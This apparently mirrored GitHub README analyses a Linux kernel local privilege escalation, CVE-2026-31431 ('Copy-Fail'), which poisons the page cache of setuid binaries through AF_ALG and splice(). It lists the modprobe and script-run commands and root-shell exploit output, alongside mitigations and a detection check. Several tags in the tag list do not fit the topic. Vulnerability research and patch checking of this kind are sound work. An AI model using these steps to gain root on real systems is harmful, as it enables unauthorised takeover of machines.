adilkurtulmus/linux-copy-fail-CVE-2026-31431
GitHub: adilkurtulmus/linux-copy-fail-CVE-2026-31431
针对 Linux 内核 CVE-2026-31431 漏洞的深入分析与本地提权 PoC,揭示了通过 AF_ALG 和 splice 缺陷污染 Page Cache 的攻击路径。
Stars: 0 | Forks: 0
# Linux Copy-Fail 分析 (CVE-2026-31431) 🛡️
本仓库包含针对 CVE-2026-31431 漏洞的深入分析、概念验证 和实验室测试结果,该漏洞通常被称为“Copy-Fail”。
Copy-Fail 利用了 Linux 内核 Crypto API (AF_ALG) 与 splice() 系统调用结合时的一个逻辑缺陷。它允许无特权的本地攻击者执行 Page Cache Poisoning,从而导致本地权限提升 (LPE)。
## 🧠 技术概述:Page Cache Poisoning
与修改磁盘上文件的传统漏洞利用不同,Copy-Fail 直接针对 Page Cache (RAM)。当读取文件时,内核会在 RAM 中存储一个副本以提高性能。由于特定内核版本上 authenc 算法中存在内存管理错误,攻击者可以欺骗内核覆盖这些“只读”内存页。
通过向 /usr/bin/su 等 SETUID 二进制文件的内存页投毒,可以绕过身份验证并生成一个 root shell。
## 🧪 实验环境与测试结果
测试在多个 Ubuntu 发行版上进行,专门检查内核反向移植和补丁管理的影响。
| 发行版 | 内核版本 | 补丁日期 | 结果 | 观察结果 |
|---------------|--------------------------|---------------|----------------|---------------------------------|
| **Ubuntu 24.04** | 6.8.0-87-generic | Oct 2025 | ❌ 失败 | 安全更新已激活 |
| **Ubuntu 22.04** | **5.15.0-125-generic** | **Sep 2024** | ✅ **成功** | **存在漏洞 (未打补丁)** |
| **Ubuntu 18.04** | **4.15.0-197-generic** | **Nov 2022** | ✅ **成功** | **存在漏洞 (未打补丁)** |
### 反向移植悖论
内核版本号可能会产生误导。虽然像 6.8 这样的“较新”内核已通过安全补丁得到保护,但由于缺少反向移植的修复程序,像 4.15 和 5.15 这样的较旧或 EOL (End of Life) 内核仍然完全处于易受攻击的状态。
## 📊 Ubuntu 22.04 (内核 5.15) 对比分析
在研究过程中,通过测试共享相同主要内核版本的两个不同 Ubuntu 22.04 系统,得到了一个引人注目的结果:
| 内核版本 | 补丁日期 | 结果 | 状态 |
| :--- | :--- | :--- | :--- |
| **5.15.0-125** | Sep 2024 | ✅ **成功** | 存在漏洞 (触发漏洞利用) |
| **5.15.0-170** | Jan 2026 | ❌ **失败** | 安全 (已打补丁)|
### **分析:**
此测试证明系统安全性不能仅仅通过主版本号来衡量。运行 5.15.0-125 的服务器可以在几秒钟内被获取 root 权限,而 5.15.0-170 则完全阻止了该攻击。
**成功的漏洞利用输出 (内核 5.15.0-125):**
```
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
```
## 🛠️ 概念验证
该 PoC 使用 ctypes 开发,以确保在不同 Python 版本(特别是缺乏原生 os.splice 支持的版本)之间的兼容性。
### 主要特性:
- 通过 ctypes 进行底层 libc.splice 调用。
- 强制缓存目标二进制文件。
- 演示横向影响(一个用户投毒会影响所有用户)。
### 运行漏洞利用:
# 1. 加载所需的 crypto 模块:
sudo modprobe af_alg algif_aead authenc echainiv
# 2. 执行漏洞利用:
python3 final_exploit.py
## 🎥 演示
```
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
```
## 🛡️ 缓解与防御
- 1. 根本解决方案:更新内核
- sudo apt update && sudo apt upgrade -y
- sudo reboot
### 2. 应急响应:刷新缓存
- 清除内存中的有毒页面
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
### 3. 主动防御:将模块加入黑名单
- echo "blacklist authenc" | sudo tee /etc/modprobe.d/blacklist-authenc.conf
- echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist-authenc.conf
- sudo depmod -a
## 🛡️ 漏洞检测脚本
```
# 1. 检查内核版本
# uname -r
# 2. 检查已加载的模块 (若无输出则表示安全)
# lsmod | grep -E "algif_aead|authencesn"
# 3. 关键测试 — authencesn bind
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRITICAL — System Vulnerable!')
s.close()
except:
print('[+] Secure — authencesn unreachable')
"
# 4. setuid binary hash (referans)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
```
评估表:
| 结果 | 含义 |
|-------------------------------------|---------------------------------|
| **无 lsmod 输出 + bind 错误** | ✅ 安全 |
| **存在 lsmod 输出 或 bind 成功** | ⚠️ 存在漏洞,请立即应用补丁 |
**免责声明:** 本研究和 PoC 仅用于教育和授权的安全测试目的。在未获授权的系统上使用可能会产生法律后果。
标签:0day挖掘, AF_ALG, Backport, Copy-Fail, CSV导出, CVE-2026-31431, Linux Crypto API, Linux漏洞分析, LPE, Page Cache Poisoning, SETUID提权, splice系统调用, Web报告查看器, 内存管理, 内核安全, 内核补丁, 安全渗透, 数据展示, 本地提权, 权限绕过, 漏洞PoC, 漏洞复现, 红队, 网络安全, 逆向工具, 隐私保护, 页缓存投毒